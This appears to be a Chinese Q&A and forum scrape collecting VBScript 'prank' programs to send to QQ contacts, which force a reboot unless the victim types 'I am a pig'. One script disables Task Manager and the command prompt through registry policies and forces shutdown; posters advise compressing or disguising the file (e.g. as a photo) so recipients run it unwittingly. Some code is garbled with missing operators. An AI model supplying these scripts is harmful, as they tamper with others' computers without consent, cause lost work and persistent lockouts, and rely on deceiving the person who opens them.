整人代码VBE 在QQ中发我是猪给别人的
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/c shutdown -r -t 60 -c""一分钟关你机，不信，试试···""",0 ,true
dim a
do while(a"我是猪")
a = inputbox ("说""我是猪""0","说不说","不说",8000,7000)
msgbox chr(13) chr(13) chr(13) a,0,"MsgBox"
loop
msgbox chr(13) chr(13) chr(13) "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe/c shutdown -a",0 ,true
msgbox chr(13) chr(13) chr(13) "哈哈哈哈，真过瘾"
简单啊。你把VBS后面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.oot\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]
这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就好了
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试? ??"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪狗,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真好玩"
开始〉程序〉附件〉记事本 复制以下内容到记事本，保存以后把后缀改为.vbe
看不见后缀的话点击 我的电脑〉工具〉文件夹选项〉查看 去掉“隐藏有几只文件的扩展名”前面的钩，就能看到后缀了。（不要输入成2.vbe.txt，记着要把.txt删掉）
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说“我是猪”就会关机，不信邪的你可以试下。"" ",0 ,true
dim a
do while(a <> "我是猪") '通过检查变量a是否不等于”我是猪“来判断
a = inputbox ("说我是猪,就可以不关机，快点，说 ""我是猪"" ","好好考虑吧……","你才是",8000,7000)
if a="你才是"then
if df<>"yes" then
dim df
df="yes"
msgbox "敢骂我，你再骂一次试看看！",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
else
msgbox "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""说我是猪，不说“我是猪”就会关机，不信……试下。"" ",0 ,true
end if
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + "早说不就行了嘛",vbApplicationModa+VbMsgBoxSetFore+vbSystemModal
msgbox chr(13) + "哈哈哈哈，人才，人才呀",vbApplicationModa+VbMsgBoxSetFore+vbSystemMod
打开开始程序/附件/记事本新建一个文本文档复制以下内容：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
从这里开始不要复制了！！！最后保存，再把文本的后缀名改为.vbe格式（一般默认的都是.txt）
发给别人试试吧 自己就不要试了!
邢文联可： on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 30 -c ＂＂说我是帅哥,不说我是帅哥就半分钟关你机,不信,试试? ??＂＂ ＂,0 ,true dim a do while(a <>...
德江县18972361965： vbe整人代码 说我是猪的那个 只要代码 不要文字 - ？
邢文联可： on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run＂cmd.exe/c shutdown -r -t 60 -c＂＂一分钟关你机,不信,试试···＂＂＂,0 ,true dim a do while(a＂我是猪＂) a = inputbox (＂说＂...
德江县18972361965： 怎样制作vbe来整人?？
邢文联可： 首先,新建一个记事本,然后重命名为vbe格式的文件(例如:game.vbe),然后点点右键>>编辑,输入如下的内容on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c ...
德江县18972361965： 谁有一种整人软件说我是猪才不会关机的! 有发我QQ邮箱 771280544@qq.com 可以加分 - ？
邢文联可： 打开记事本把下面的代码都复进去然后保存时把再把扩展名改为vbe保存就可以了!不过要人家打开才能关机,人家不打开就也无奈何! on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(＂wscript.shell＂)WSHshellA....
德江县18972361965： QQ整人小程序 - ---说我是猪就不关机 - ？
邢文联可： 哎.VBS的脚本,我都编的出来 复制下面的东西到记事本 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 60 -c ＂＂说我是只猪,不说就一分钟关你机,不...
德江县18972361965： 在QQ共享中有个 照片.vbe的 打开就 说我是猪就不关机 是什么软件啊?????? - ？
邢文联可： 这不是什么软件,而只是windows的一行命令条码 要解决此问题,只需要点击开始-》运行 然后输入shutdown -a 就没有事了,呵呵 你要是想要,我可以给你个exe格式的,效果一样哦!qq420331920
德江县18972361965： BAT vbs VBE 格式的整人代码! 不要太狠啊! - ？
邢文联可： 不断弹出窗口 ----------------------------------------------------------------------------复制代码 代码如下: while(1) msgbox ＂哈哈 你被耍了!＂ loop---------------------------------------------------------------------------- 不断按下alt+f4 (开什么都关闭……) -----------------------...
德江县18972361965： 求一个整人的QQ程序,你不说自己是猪就关机的那个. - ？
邢文联可： 先创建个文本在复制下列粘贴,保存好后把文本后缀改成vbs,里面的文字可以自由修改 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 60 -c ＂＂不要老是...
德江县18972361965： 有种整人的小软件 发过去如过不说我是猪就会关机 有这个软件的请发我邮箱331293053@qq.com？
邢文联可： 新建一个文本格式的txt、在里面复制下面的代码、在改成vbe格式的就行了、on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 60 -c ＂＂说我是猪,不...
德江县18972361965： vbe整人代码怎么做 - ？
邢文联可： 应该是vbs整人吧 建一个vbs文件,右键“编辑”将下面代码复制进去:do msgbox(＂你这个猪!你这个猪!你这个猪!你这个猪!你这个猪!你这个猪＂) loop
